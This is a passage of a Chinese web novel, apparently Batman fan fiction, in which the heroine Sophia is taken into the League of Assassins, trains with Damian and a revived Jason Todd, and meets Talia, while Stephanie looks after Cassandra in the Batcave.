“那你现在解释，怎么就特殊到要捡小孩回家了。” “……” 蝙蝠洞内, 蝙蝠侠摘下面罩露出那双总是坚毅如铁的钢蓝色眼睛，但身体却始终保持在战斗状态没有因为回到熟悉的领地就显露出哪怕一丝的懈怠，只是稍有不同的是那张足够英俊的脸上还带着和人搏斗后留下的淤青。 另一边, 斯蒂芬妮换下了那身红绿灯一样过分鲜艳的罗宾制服正坐在椅子上龇牙咧嘴的给自己包扎伤口, 其中大部分伤口都是因为那个还躲在披风下的黑发女孩卡珊德拉造成的。 这个女孩的动作简直快的可怕，同时又能精准预判对手的动作，每次出手都直冲要害而去，让在战斗技能还没来得及点满的斯蒂芬妮频频吃瘪。 按理来说, 斯蒂芬妮经过这段时间的训练已经进步了很多能够应对哥谭大部分罪犯, 即使是遇上难对付的反派也不至于毫无招架之力, 虽然说要和曾经做过利爪的索菲亚对练还处于下风，但是比起最初全靠勇气和运气和人作战的情况好上了许多。 但即便如此，面对卡珊德拉的攻势, 斯蒂芬妮甚至看不清对方的动作, 身体却已经感受到了疼痛, 在失去先机的那一刻起，接下来就是一场单方面的斗殴画面。 从不让自己吃亏的斯蒂芬妮咬着牙却不愿意轻易认输, 在做好防御保护身体重要部位的同时观察对方的动作, 好不容易才找到了能够出手的时机, 两个女孩打成一团, 最后即便是身经百战的蝙蝠侠也是挨了好几拳才把两个人分开。 随后哥谭的黑暗骑士，一个身高超过一米八体重220磅智慧超群意志力惊人的壮汉, 用上了吃奶的力气才把被他捞出来目前无家可归并且拥有人形高达一样战力的卡珊德拉送回了蝙蝠洞。 此刻这位一场强壮的战士被贴心的老管家按在了座位上, 左手还在键盘上敲敲打打面上没有任何表情, 完全看不出右手手臂上被划出一道十公分长的口子，此刻正在接受缝合伤口的简易手术。 这道看的人触目惊心的治疗过程只不过是蝙蝠洞内最常见不过的景象，只是简单的割伤甚至在这里算不上什么值得令人紧张的大伤，但正低着头为自己看着长大的孩子处理伤口的阿福的眼神里还是盛满了心疼，或许在管家眼中自己面前的蝙蝠侠仍旧是那个在巷口哭泣的八岁男孩。 “卡珊德拉的情况比较特殊，她的，嗯，父亲大卫.该隐很早就对她实行非常严苛的武术训练，并且他认为语言会挤占战斗的能力，从而剥夺了卡珊学习语言的能力。我并不认同这样的形式，于是将流亡至哥谭的她带了回来。” 布鲁斯的语气格外凝重，但面对肢体动作中还是显示出紧张和紧绷状态的卡珊，他还是调整自己的身体状态展现出绝对放松的姿态，并露出一个足够友好的微笑。 “没关系卡珊，我们没有恶意，或许你想吃点点心吗？” 感受到友好信号的黑发女孩缓缓地点了点头，在看到身边的人都从托盘中拿起曲奇放在嘴里后，这才模仿着大家的动作捏起一块曲奇，慢慢的放进了嘴里。 看得出来女孩不讨厌甜食，拿取小点心的频率也高了不少，但蝙蝠洞内大家都在忙手里的工作没有过度关注女孩的情况反而让陷入应急状况的女孩放松了许多。 “斯蒂芬妮小姐，或许你愿意带卡珊德拉小姐去洗漱？” 说话时阿福正在处理最后的收尾工作，手上的绷带在手指的缠绕下打出一个足够美观舒适的结，被叫到名字的斯蒂芬妮疑惑的拿手指着自己瞪大了眼睛。 “我吗？” 斯蒂芬妮迷惑的看了看在椅子上坐的端正无比，正要把最后一块曲奇饼干吃掉的卡珊德拉，又指了指自己脸上的淤青。 “我打她？真的假的？” —————————— 挣扎失败的斯蒂芬妮只能先一步在管家欣慰的眼神下离开，而得到了指令的黑发少女则亦步亦趋的跟在她的身后，看不出一点一拳把人打到昏迷，两拳打到脑震荡，三拳直接让人见上帝的狂暴模样。 也不能这么说，索菲亚在不打架的时候，看起来也是乖乖的。 这是什么亚裔的共同特征吗？ 静若处子动若疯兔？ “看好了，这个按钮向左就是热水，向右是冷水，你觉得水温不合适就自己调。”斯蒂芬妮站在浴室门口，看着女孩只是呆呆地站在淋浴下却没有任何动作。 “有没有一个可能，洗澡需要脱衣服呢？” 斯蒂芬妮话都没说完，就看到少女以肉眼难以看到的速度唰的一下就将上衣甩到了地上，眨眼间手已经放在裤腰上开始脱去裤子，黑色的勉强及肩的有些干枯的短发正贴在女孩的颈侧，平日里在衣物遮挡下显得消瘦的身体，在此刻的情况下充分显示出蕴含无限爆发力的肌肉线条，而对斯蒂芬妮来说更为震撼的是——她没有穿内衣啊！ 受到惊吓的斯蒂芬妮猛地转过了身，无奈的用手捂住了脸。 即使已经有了和索菲亚的同居经验，但这种突然看着别人脱光的画面还是有些限制级，毕竟不管是自己还是索菲亚都没有在家完全脱光了展现自我的喜好。 但斯蒂芬妮迟迟没等到身后应该响起的的水声，重新转回身体就看到了正呆呆地站在原地看着地板的卡珊德拉，女孩的脸上没有任何表情，但此刻却显得格外无助，像是只被雨水淋湿的只能缩着身体的流浪小狗。 “好吧，那我教你，你看好了。” 斯蒂芬妮打开了淋浴，有些微凉的水喷洒而下，几秒内就调整到合适的温度，而沐浴着温水的卡珊德拉终于被唤回了意识，伸出手感受热水打在手上的触感。 意识到对方完全没有生活常识的斯蒂芬妮只能叹口气，帮女孩完成了洗澡的简单工作，好在目前状况下的卡珊德拉已经不会随时处于会把人打到半身不遂的应激状态了。 忙碌了一夜的新任罗宾终于结束了手头最后一项工作，把自己完全埋在了床上，两眼一闭就要昏睡过去，在大脑好不容易放松下来的情况下，斯蒂芬妮后知后觉的想起来被自己忽略已久的好舍友。 索菲亚在干什么呢？ 谢邀，人在迪拜刚下飞机，现在跟恐怖分子头子坐同一辆车往地图上完全没有显示的区域走，而那位恐怖分子正拿着索菲亚刚换的手机继续在打消消乐，看进度已经到了惊人的一千关。 索菲亚没有任何挣扎的机会，甚至不需要任何物理以及药物手段来限制行为，但凡大脑对比北京猿人有任何进化的迹象，都不应该在左右为难且身处沙漠中心的车队上想出在这个时候逃走的荒谬想法。 真的，有这种想法不如考虑给北极冰山加两千个发动机，顺着内海一路前进从而让长期身处炎热干燥气候下的中东各国，在冰山所携带的大量淡水资源的帮助下，成为亚欧大陆内部拥有独特风景的塞上绿洲来的实际。 索菲亚坐在车的后座，隔壁就是穿着枪驳领西装打消消乐的阿尔伯特，49号照常被发配去了司机的位置，只是副驾那位穿着紧身制服带着遮住了下半张脸的红色面罩的朋友索菲亚实在没在脑子里找出这位猫头鹰的信息。 或许是索菲亚盯着副驾的眼神过于焦灼，阿尔伯特这才慢悠悠的关上几乎没电的手机塞进了索菲亚那条宽大工装裤的口袋里，拍了拍少女的大腿。 “放心吧，好姑娘，我目前还没有再养一只猫头鹰的念头。” 男人的体温已经和常人没有太大的区别，即便如此索菲亚还是能够感受到对方略低一些的体温。 “那是只被遗弃的罗宾鸟，只是目前交给我饲养罢了，等到他怀着满腔怒火回去复仇的时候那才是一出好戏。” “恨海情天，兄弟阋墙，手足相残，这种全是狗血，所有选择都选中最烂的那一个的剧情才是观众的最爱不是吗？” 近在咫尺的，能够感受到对方呼吸声打在耳边的索菲亚还是浑身僵硬，但好奇副驾身份的少女还是咬着牙继续听猫头鹰炫耀羽毛般的讲述。 “你和蝙蝠侠接触过了对吗？说实话我不算蝙蝠侠的粉丝，毕竟这种像是圣人一样奉献自己的西西弗斯对我来讲太无趣了，故事外的编辑只需要随手写下几句台词就能够为他塑造足够多的苦难和荣誉，而现实中苦苦挣扎的人哪里有这样的机会呢？大多都是悄无声息的像老鼠一样死在了哪个不为人知的角落里。” “不过到了这里真的见了蝙蝠侠，我发现他似乎也不过如此，失去了编剧给他的金手指，他只不过是个凡人。你看在猫头鹰法庭的剧情发生前，他甚至没意识到自己的城市里藏着这么多老鼠，还在自以为是的做些无意义的事。” “哦对，最好笑的是，他的儿子死了。你应该没听过这段故事，但我最熟悉不过了。一个完全模仿黄金男孩迪克格雷森且不讨喜的男孩，被当成了弃子，他的生命被完全掌握在一群甚至没看过漫画的观众手里，只需要一个电话，任何人，就连在街边嗑药磕到不清醒的流浪汉也可以宣判他的死刑。” “于是一只羽翼未齐的鸟儿的命运就这样决定了，一个谎言，一场几万人都参与进去的谋杀，一场无用的营救行动，以及一个无能的被命运操控的英雄。” 索菲亚猜到了副驾驶上那位无言刺客的身份，即便对方的脸完全被遮挡起来，但索菲亚还是能感受到对方此刻突然开始颤抖的身体。 只是少年的挣扎没吸引到阿尔伯特的哪怕一丝的关注，男人金色的眼睛此刻仍旧死死的黏在索菲亚身上，并露出一个笑来。 “别害怕索菲亚，没人能够掌控你和我的命运，没人能把你从我身边夺走，不管是那个叫爱德华的猎魔人，还是那个法师，亦或是那些愚蠢的猫头鹰法庭。” “我们比谁都清楚，任何人都不能把我们分开，即使是死亡。” “不是吗，我的好姑娘。” 第86章 刺客联盟是个和还没覆灭之前的审判庭一样等级观念极强的地方, 任何人都被划分了明确的等级，但真的要在规则上对于这些等级追根溯源，却能惊奇的发现这里的规则只有一条——弱肉强食, 优胜劣汰。 面对这种地方，即使是能够和黑着脸的蝙蝠侠满嘴跑火车的索菲亚也得把嘴闭紧，随时把耳朵提起来搜集周围的每一个微小的动静, 防止因为大意白白受到攻击和惩罚。 说的过分一点, 连在厕所排泄都得随时做好夹断的准备。 所以说刺客联盟的成员是怎么做到不便秘的？ 还是说每一张冷酷无情的身体里都藏着无法自由排泄而导致的包括便秘、脱肛、痔疮在内的难言之隐？ 在整个被沙漠环绕的基地里，索菲亚唯一能够和谐相处并且不用担心被莫名其妙捅一刀的人，只有还没有找回理智的前任罗宾——杰森陶德。 虽然索菲亚还是不理解已经死去多时经历过解剖的甚至被蝙蝠侠埋进坟墓里的人是怎么莫名其妙复活的？ 这也不是什么网络上流传的那些让索菲亚魂牵梦绕熬夜到凌晨三点的经典——我重生了，重生在被小丑设计杀死的前一个小时, 这次我将粉碎小丑的阴谋夺回属于罗宾的一切。 就算是猫头鹰法庭改造利爪也得保证对方是个活人吧, 已经变成尸体的杰森到底是怎么复活的？ 总不能莫名其妙遇到了亡灵法师吧。 并且不知道是哪个环节出现了问题, 杰森目前处于完全失去意识的状态，对于外界的刺激并没有表现出经历多年训练后该有的反应，但□□却可以凭借肌肉反应来对于外界的攻击进行回击, 并且因为失去理智, 对方下手更狠了完全没想过给对手留一条活路。 这个状态听起来有点熟悉。 林肯陷入回忆讲到的有关自己在法庭失去意识但还能战斗的过往重新浮了上来, 再看一看此时正因为失去命令而呆坐在地上，绿色的眼睛满是空洞和迷茫的杰森, 索菲亚似乎找到了答案。 好在阿尔伯特没有阻止索菲亚和杰森接触, 甚至于因为索菲亚自告奋勇去接触这只迷茫的小鸟并且孜孜不倦的与之进行战斗训练, 这让阿尔伯特满意了不少并且频繁的消失在刺客联盟的基地里, 只留下索菲亚摆出一张看谁都不爽的刻薄表情到处晃悠。 但要说实话，索菲亚也没那么自由, 跟在49号山一样的身体后转了三天索菲亚大概摸清了猫头鹰在刺客联盟内部能够被允许出现的几个区域。 首先就是训练的场地, 在这块区域里出没的大多是刺客联盟还在接受训练的刺客, 年龄的话上到三四十岁的中年人，下到看起来七八岁的小孩，大多数人都埋头训练不会对突然进入的外来者有过多的关注，唯一不同的就是那个七八岁的男孩。 那是个眼高于顶，鼻孔朝天的傲慢小孩，蜜色的皮肤上显示出充分的锻炼痕迹，深绿色的眼睛里满是无法被驯服的野兽一样的凶狠和面对猎物势在必得的松弛感，但也能看出对方自出生起被金钱和权力浸润的高贵，但那张稚嫩的小脸不知道为什么在索非亚眼里总是有种莫名其妙的熟悉。 是哪个不幸的富豪在刺客联盟有了个孩子啊，不会是莱克斯.卢瑟吧，但也不能这么绝对，万一是奥利弗.奎恩呢，这位花花公子的名声和布鲁斯相比不相上下，实在不行我们还有托尼.斯塔克可以选。 至于为什么不是布鲁斯？哈哈，蝙蝠侠可以自己捡孩子根本不需要自己生，光是现在韦恩庄园里容纳的小孩数量就已经可以把辛苦喂养大家的阿福称之为英雄母亲了。 索菲亚有幸在和杰森对练的间隙，遇到了这位刺客联盟小皇帝，据49号说他的名字是达米安。 某种角度来说，达米安选择的战术和索菲亚过去大差不差，都是在判断自身力量不够击败对方的情况下，优先利用体型差和敏捷度来制服对手，在对手露出破绽的一瞬间一击毙命。 索菲亚深知不能因为对手看起来是个还没上小学的小孩就掉以轻心，毕竟自己第一次杀人的时候也和达米安差不了两岁，再说对方挥舞着武士刀每一刀都直奔对手的弱点而去，但凡反应慢一些或者力气小一些，索菲亚就可以直接在中东见到自己死去多年的太奶了。 少女手腕微抖便将武士刀挑飞到高处，在男孩即将跳起来夺回武器的间隙，看准时机一脚踹上对方柔软的腹部，成功夺取了对方的武器，将闪着寒芒的武士刀对准了男孩的眉心。 “够了吧，再打也没有意义。” 索菲亚将那把标准的大马士革钢制造而成利器在手心转了个剑花，将剑柄面朝对方递了过去。 “在你一口气长到一米八之前，你我之间的缠斗没有任何用处。” 身高一米二的幼年恶魔崽子抬起头，眼神里满是被压抑着随时会喷发的岩浆一样的愤怒，绿色的充斥着野心的眼睛平静的将身穿黑色练功服的索菲亚从头到脚打量了个遍，才漫不经心的扭过头接过了自己的武器。 “你就是牧首的新手下？” “如果十年前的门徒也算的话。” 索菲亚没有直接回答，而是将自己随手从武器架上抽出的长刀放在手里细细品鉴，由高碳钢和低碳钢叠层折叠后锻打的钢材在经历酸洗后显现出独特的花纹，中和了两种材料的性能。 严格意义来讲大马士革钢并不能让材料呈现1＋1大于2的效果，但只凭借花纹美学就足够让这些传统组织愿意买单。 但要是让索菲亚选的话，工厂批量生产的被吐槽没有灵魂的成品刀已经够用了，至少品质稳定且便宜。 哪个猎魔人能倒霉到遇到的魔物都需要特定武器才能够杀死啊？ 这又不是去讨伐魔王没了圣剑人生就彻底完蛋了。 不过话说回来，达米安其实刷新在训练室的概率不算大，作为恶魔之首拉尔斯.奥古唯一活下来的外孙，这位中东小皇帝很多时候直接能够凭借特权直接和来自世界各地的武术大师切磋，在学会对方的技艺后就会选择杀人灭口作为毕业的唯一证明。 索菲亚发现这一点的原因自然是，某天难得遇到达米安两人切磋的时候对方竟然使用了巴西战舞的技能，过长的前摇给索菲亚看傻了，也因此被愤怒的达米安一个扫堂腿抡到了地上。 只可惜这样表演性质极强的前摇技能对于长期失去大脑的杰森来讲作用甚微，两个男孩不管不顾的扭打起来，最后还是靠突然出现的索菲亚从没见过的漂亮姐姐才结束了战局。 那位漂亮姐姐的美貌程度在索菲亚见过的俊男美女里也算屈指可数，和达米安一样的展现出力量和野性的皮肤，深棕色的带着波浪的长发，和达米安如出一辙的翡翠一样的眼睛扫过混乱的现场，随后用格外严厉的语气下达了对几个未成年学徒的处罚结果。 仅从外表索菲亚就能看到这位女性和达米安一定存在血缘关系，如果是姐弟达米安倒不至于这么听话，这种母狮子教训幼崽熟练的画面，大概率只有母子关系。 达米安和杰森都被罚了禁闭，在一旁全程围观看热闹并且在高潮部分热烈鼓掌的索菲亚没能及时逃脱，同样喜提禁闭的待遇，好消息是大家禁闭的地方并不一样，至少不用担心禁足期间大打出手酿成惨祸。 只不过在目送达米安和杰森离开前去接受禁闭的惩罚后，名为塔利亚的女性将视线全部放在了索菲亚身上。 “我听说了你在哥谭的事，猎魔人。” “我以为我没有那么出名。” “我很早就在关注你了，二十年前阿尔伯特与父亲见面时就自述给法庭留下了能够毁灭那些傲慢家伙的钥匙，只是我没想到你现在才回到他的身边。” “或许因为我对牧首大人足够忠诚吧。”索菲亚说这些不着调的谎话已经过分熟练，此刻就算拿出测谎仪也很难从生理层面找到一丝说谎的迹象。 “真的吗？”塔利亚勾起嘴角，棕色的发丝垂落下来遮住了女性的侧脸，那张足够东方的面庞在阴影下显得格外危险“我以为你至少有以下克上的勇气，你看起来像是日裔。” “越南裔。”索菲亚快速回答了对方的问题，用金色的眼睛和塔利亚对视，力求不落在下风“不过我对儒家那一套先君臣后父子的东西确实没什么想法，就和你一样。” 虽然不知道刺客联盟到底怎么回事，但光是从刺客联盟遇到的刺客以及其他猫头鹰的口述索菲亚就能知道这个神秘组织父慈女孝的友好氛围。 一个不知道通过什么原因保持长生不老的父亲，一个受尽宠爱却始终没办法获得最高权力的女儿，好巧不巧的是曾经这位刺客大师宁愿把整个联盟交给自己的得意门徒也不愿意直接交给自己心爱的女儿继承，并且塔利亚并非独女，她还有一个同父异母的姐姐妮莎对于首领的位置蠢蠢欲动。 虽然说塔利亚在有了孩子后，拉尔斯直接发布了达米安会是他继承人的言论，加固了塔利亚的地位，但这种一定要通过男人才能获得应得的权力和地位的形式让索菲亚看了直摇头。 49号讲故事的时候还在吃没吃完的卷饼，里面加进去的配菜完全超出了这张面食的极限，而男人毫不在意形象的把嘴长大到可以吃下三个小红帽的大小。 索菲亚就还没尝试就已经能够听到自己下巴脱臼的声音，于是选择放弃，埋头继续把剩下的卷饼吃完。 “所以这个来求学的人很出名吗？拉尔斯这么在意的人不可能只是一个无名小卒吧。” “我记得是个哥谭人，家里还挺有钱的，不知道怎么想不开来跑这么远。” 听到熟悉的描述索菲亚愣了一下，但仍没有停下吃饭的动作。 “名字呢？我或许认识。” “Bruce Wayne。” 索菲亚正在咀嚼的动作停了一瞬，接着继续进食恨不得把脑袋塞进放着食物的盘子里。 怎么这么巧啊，拉尔斯的学生正好就叫布鲁斯韦恩啊。 一定是重名对吧，毕竟叫布鲁斯的人那么多，韦恩也不是很少见的姓氏。 回忆起达米安熟悉的脸部线条，和韦恩庄园里随处可见的照片中布鲁斯八岁时白嫩的小脸蛋，索菲亚痛苦的捂着脑袋开始尖叫。 蝙蝠侠你在干什么啊蝙蝠侠！ 就算是男孩子出门也要保护好自己啊混蛋。 你是怎么有脸说出让提姆做好安全措施的话的。 B-A-T-M-A-N！ 第87章 索菲亚有幸在刺客联盟得到了新的工作内容, 跟在刺客联盟小皇帝达米安身后，负责处理一些没什么大用的琐事。 好在达米安是一个自控力极强，且非常擅长克制自身欲望, 把所有人类从出生起就配置的又馋又懒还爱玩的本性全部都删除了一样，勤奋的简直不像活人。 唯一有点麻烦的只有长期在弱肉强食环境下长大的达米安非常执著于像是动物种群中通过你死我活的决斗方式来确认地位的行为，并孜孜不倦的攻击好几位他觉得有必要的对手。 比如至今还没恢复意识但是身高蹭蹭直窜几天下来从一米六窜到一米七的杰森, 再比如只是想给蝙蝠侠留点时间把非法猫头鹰组织全都搞掉从而实现回家谈恋爱生活结果却被迫营业的索菲亚。 如果不是阿尔伯特基本不在刺客联盟出现, 那么大猫头鹰也无法避免和小孩打架的命运，并且因为对方是甲方亲外孙的身份不得不咬着牙放水。 所以当发现了达米安是布鲁斯流落在外的典藏版小鸟预备役之后，面对小朋友非常幼稚的挑衅行为，索菲亚还是摆出了一种非常大度宽容的大姐姐心态。 不要和小孩计较。 但是莫名其妙就会趁着妈妈不在突然冒出头攻击别人的达米安某个角度来讲, 比突然冲着人脸袭击的蟑螂还要惊悚, 上个有这样待遇的还是深夜突然出现在罪犯面前把人倒掉在滴水兽上的的黑色猫耳男。 所以, 这是什么韦恩家遗传的神出鬼没天赋技能吗？ 这么想想，远在布港的夜翼，刚刚被迫从罗宾这份义务工作中毕业的前任罗宾提姆似乎都具备这项技能。 那么, 猫头鹰猎魔人的转头没技能也该提上日程了, 不然没资格加入哥谭都市怪谈排行榜。 回到正题, 提起刺客联盟等级森严的特点，第二点就是饮食。 说一个很小众的事, 刺客联盟其实是有食堂的, 伙食也算说得过去至少吃了不会死。 这是一个很容易就能体验出等级差异的地方, 至少管理层及以上的那些人是不会吃食堂的, 反正索菲亚连吃几顿都没看见过那些大人物的影子，也是少数的不会刷新出一米二不到的矮脚小猫达米安的场合, 非常的让人安心。 唯一意外的是49号在牧首身边多刷了二十年存在感依旧没能混到升职, 最近两人天天在食堂里隔着大半个空间埋头苦吃。 但刺客联盟的成员基本不会坐下享受用餐时间, 基本都是取到食物后就急匆匆地离开，也只有完全不看人眼色的十几个猫头鹰还能悠哉游哉的坐下来吃饭，并且尴尬的是索菲亚基本都不太熟悉。 在回忆里，似乎过去在审判庭里猫头鹰们大多也都是些完全不看上司眼色行事的叛逆牛马，现在只是在潜规则里不允许停留的地方吃饭，比起之前频繁背刺其他部门同事的行为似乎已经算得上有良心了。 究其根本，疑似是在审判庭当牛马当疯了的阿尔伯特开始大发雷霆于是决定整顿职场，平等地攻击每一位同事和不听人说话的上司。 听起来像是什么牛马加班加到猝死前的幻想，但这位作为上司的难缠程度更是重量级，不仅要做到二十四小时随叫随到，还要满足上司各种离奇的突发奇想。 比如把要暗杀的对象钉在倒十字架上并放在当地的地标建筑前，冒着被纽约警员清空弹夹的危险好不容易回到审判庭还要被吐槽做的没有美感的49号。 先前提过的那位足够美艳的的29号曾经被派遣了色诱某位议员的任务，在努力制造偶遇三个月还未完成任务处于崩溃边境时才看到牧首刚刚发来的补充材料里看到了这位议员在性取向上那个大大的男…… 再比如在阿尔伯特手下一边当宠物一边做实习杀手每天累的两眼一抹黑还要莫名其妙被惩罚且没有一美分收入的索菲亚。 想到这里，索菲亚吃沙威玛的速度更快了，按照计划她今天得去陪达米安去上课，据说那节课已经接近结束，今天就是达米安正式毕业的时候。 只是不知道为什么嘴里的食物吃完嘴巴里苦苦的，舌头还麻麻的，像是咬了电线一样。 索菲亚没太在意，只是一味的往胃里塞满了食物。 推开门的第一眼，索菲亚就看到了那个本该坐在椅子上对着达米安卑躬屈膝，但对着一副普通刺客打扮的索菲亚却是满是不屑的五十岁老头，只是略有不同的是，这位索菲亚不太看得顺眼的老师今天没坐在椅子上。 看了看被男孩手里提着的连着脑袋的头发，头颅上两颗足够浑浊的灰色双眼已经变得暗淡，全都被惊恐挤满看不出一丝过去谁都瞧不起的高傲模样。 这画面虽然在电影里算限制级，但这并不影响索菲亚反常地发出一声极度夸张的像是牛叫一样的干呕声。 “如果你的心理素质差到看到这种场面就会反胃的话，就不应该做杀手。” 学龄儿童过分稚嫩的声音搭配这种故作成熟的台词略显违和，但回忆起他那个虽然已经到了中年但依旧喜欢付费上班的父亲，索菲亚觉得也是可以理解的，或许这就是韦恩一脉相承的珍贵血统带来的显性特征也说不定。 但此刻索菲亚没空吐槽太多，就趴在地板上狼狈的继续干呕。 男孩并没有在意索菲亚的反常，顺手将那颗头颅扔到一旁，颇有耐心的解释了起来。 “这是负责教授我犯罪学的老师，只不过作为犯罪专家的他在十年内猥亵并强迫多个男童和他发生关系，其中有六个男孩失踪，官方给出的解释是离家出走，但实际上那些尸体就埋在他家后院的花圃里。” 而索菲亚还在弯着腰吐个不停。 男孩没有管身后已经完全人首分离的几分钟前还有生机的人渣男人，而是慢慢移动脚步离开房间，进行每日训练计划的下一步，只是在将要离开时男孩微微侧头停顿了片刻，用绿色的眼睛看了一眼索菲亚。 “今天有抗毒训练，药物投放进了食物里，但凡有点理智都知道在这里进食太多就是自找死路。” 爬不起来的索菲亚无力的伸出手，向外挥了挥祈求这位甲方家里的小皇帝快点滚蛋，不要再伤害无辜的打工人。 趴了半个小时后索菲亚终于将主要作用是呕吐的药物吐了个干净，这才重新爬起来去寻找达米安的踪迹。 看得出来小皇帝今天结课的成果颇为丰富，按照行程一路找过去的索菲亚看着眼前死相完全不同的尸体，平静的思考给达米安上课的死亡率是不是高于霍格沃茨的黑魔法防御老师。 直到行程结束，索菲亚都没在训练室见到达米安。 少女干脆扔下手里的行程表完全凭感觉瞎走，反而在某个能够将附近的沙漠完全尽收眼底的露台上，索菲亚再次遇到了还没来得及换下练功服的达米安。 达米安的眼神全都在点缀在夜幕上的星空里，没分给索菲亚任何一个眼神，就好像身边只有空气一样。 “你认识我的父亲？” 没想到对方上来就扔了王炸的索菲亚愣了一下，把原本在嘴边即将说出来的胡说八道的话咽了下去，随后继续看着男孩后脑勺上格外□□的头发。 “你对祖父和母亲一无所知，但看我的眼神却和其他人不同。” 不得不说，男孩简直敏锐的吓人，但索菲亚实在没有和小孩斗智斗勇的力气，只是倚靠在墙面静静的听对方的推断。 “母亲曾经说过，父亲是一个真正的英雄，但她并不愿意告诉我有关他的真实身份，要等到我足够强大才能够得到这份战利品。” “那你要听剧透吗？”索菲亚抬起眼皮顺着达米安的视线看了过去，在满片星空中也没找到几个认识的星座“他确实是个好人，至少我和他相处的短短几个月里他救了我两次。” “那他为什么没选择加入祖父的事业？祖父的最终目的就是要消除一切的罪恶。” “这就是刺客联盟插手犯罪甚至放任手下去犯罪的原因？如果说把人类都杀干净就算清除罪恶的话，那灭霸都能成为圣人。” 索菲亚死都没有想到，自己有天要和同行讨论有关犯罪以及制止犯罪的问题，这种话题过于遥远不亚于毒贩讨论关于du品的量刑范围并主动要求从重处理一样，多少带了些魔幻色彩。 男孩没有继续反驳，而是停顿了几秒，随后断了对话。 “灭霸是什么？我不认为他能和祖父相提并论。” 是一个响指就能让地球少了一半人口，在短时间内快速解决人口过剩和资源分配不均问题的大圣人，但给小朋友科普这位漫威宇宙知名反派的雄图霸业还是有些为时过早，所以索菲亚装作没听见男孩的疑问把话题扯了回来。 “总之先别管犯罪问题，你很想见你父亲吗？” “我会向他证明我是对的。” 索菲亚的意识却完全越跑越远，随后凭借足够敏锐的视力和听力，察觉到在这座堡垒的边缘，似乎有什么动静。 声音不大，并不是人类能发出的动静，从频率和音色音量来看，应该是沙漠中因为觅食无意经过小动物。 好在这处露台算不上高，加上底部厚厚的沙地，索菲亚干脆顶着男孩疑惑的眼神一跃而下，随后果然发现了被突如其来的异变吓到的正巧卡在基地底部和沙漠连接处的洞里和沙漠几乎一个颜色的毛茸茸的野生小动物。 “快看达米安，是狐狸。” 那只浅色的不过人两个手掌大小，顶着两个硕大耳朵的耳廓狐瞪大了黑色的圆眼睛，嘤嘤的叫了起来身体在索菲亚没怎么用力的掌心扭动着试图挣脱。 男孩看到这画面也跟着瞪圆了眼睛，随后说道。 “放下，你吓到她了。” “那放走她之前你可以摸摸她，快点我怕等会有人来。” 索菲亚朝高处挥了挥手，随后就看男孩咬了咬牙手一撑也从露台上翻了下来。 “你这样会害死她的。” “好了好了我这就把她放走，别生气嘛。” 深绿色眼睛的男孩盯着那只耳廓狐蹦蹦跳跳远去的身影看了许久，直到看到这只小动物彻底消失在视线里。 “所以你打算怎么回去？” 索菲亚僵硬的扭过头，迷茫的和那双绿眼睛对视并留下了属于大人的无用的答案。 “我不知道。” 第88章 是谁刚来刺客联盟没几天就偷偷藏不住又被罚了禁闭啊。 这就是猫头鹰的口碑。 其他人做得到吗？ 其实按理来讲猫头鹰内部对于这种不听话的行为会有额外的惩罚, 但阿尔伯特并不在刺客联盟且通讯设备全都开飞行模式根本联系不上的含金量一下就上来了。 最后综合下来，只需要在完全断水断粮的情况下被关七天，这事就算过去了。 只是饿七天罢了, 有什么困难的吗？ 在惩罚开始前索菲亚不屑一顾，饿到第三天索菲亚满地乱爬。 退一万步讲，索菲亚自己不过脑子什么都不带跳下来也就算了, 达米安就没一点错吗？ 所以在其他地方禁闭的达米安又吃了什么？作为中东小皇帝他一定吃的很好吧。 沙威玛香饭小麦肉粥阿拉伯炖菜烤肉串。 不索菲亚, 你怎么可以这么堕落，你可是猫头鹰法庭前任利爪，审判庭前杀手，猎魔人, 哥谭义警（临时工）, 你怎么只想着奶茶小笼包麻辣烫冒菜烤鸭…… 等到禁闭室的大门被缓缓打开, 灯光顺着门缝打在索菲亚过度狼狈到平躺在地上双手自然放在腹部，随时可以盖上白布下葬的身体上时，索菲亚反而失去了食欲。 经常不爱吃饭的朋友们都知道, 只要是放假的时候一觉睡醒到中午, 一旦过了下午两点就会忘了自己之前是怎么饿的满地乱爬四处找饭吃的惨状, 进入贤者模式。 蒙面的刺客按照约定的时间打开了大门，而在刺客身后身着和虹膜颜色相同的深绿色制服的塔利亚, 正在无聊的把玩垂落下来的那一缕深棕色的发丝。 “需要帮助吗, 猎魔人？” 索菲亚正在努力克服长时间未进食带来的眩晕感, 缓缓地站了起来, 虽然不至于饿死但是这种无力的感觉让人实在提不起一点动力。 塔利亚手腕轻轻一抖便有一道银光闪过，索菲亚伸出手将袭来的暗器夹在两指之间, 放眼望去便能发现那是一根提前吸取了液体的注射器。 “放心只是葡萄糖溶液, 我不喜欢拿成瘾药物控制别人那套, 而且根据我的了解成瘾药物似乎对猫头鹰没有作用。” 索菲亚接过注射器对着灯光端详了几秒，最终还是放弃了注射的想法，将针头掰断后扔在了地上，推动活塞直接将溶液推进嘴里咽了下去。 热知识科普，不要把注射用葡萄糖当饮料喝哦，虽然塔利亚带来的这款不算难喝，但过度粘腻的甜味迟迟停留在喉咙里让整个口腔都泛起了一种廉价的塑料味，评价是不如喝各类时尚小甜水。 “有人要见我吗？”索菲亚清了清嗓子，但喉间仍停留着粘腻感。 “或许你想要知道有关猫头鹰为什么来到这里。” “我以为你们的同盟关系还算牢固？” 女人弯下上半身，柔顺的头发顺着身体的动作垂落下来挡住了塔利亚的侧脸。 “牧首没有教过你吗？只有永恒的利益——” 塔利亚话未说完，索菲亚已经猜到了下半句，至少从刺客联盟内部的情况来看，即使经过将近二十年的磨合，猫头鹰和刺客的关系算不上有多和睦，加上阿尔伯特一向鼻孔看人和喜欢反复横跳的态度，刺客联盟能够忍这么久已经算大发慈悲了。 但为什么先前两方还能维持表面的和平但如今自己回到猫头鹰手下不过一周，塔利亚就做起了过河拆桥的事来，还是说自己身上有什么能够帮刺客联盟完全掌控猫头鹰的东西吗？ 至少在索菲亚看来，刺客联盟目前应该没打算将猫头鹰全部清除，一群经过改造的不死战士并且比起利爪更是克服了害怕低温的特性，只是这一点就已经表现出了足够的价值。 但猫头鹰内部对于牧首阿尔伯特的个人崇拜到了一个令人发指的地步，目前仅存的十几个猫头鹰无论对外表现如何，但对于牧首确是做到了唯命是从，长达几十年甚至上百年的精神控制足够让这群脑子不好使的家伙熟练的成为别人的狗。 但是是谁跑出去快十年看到牧首还是被吓得扑通一声跪下了啊。 索菲亚默默移开了视线。 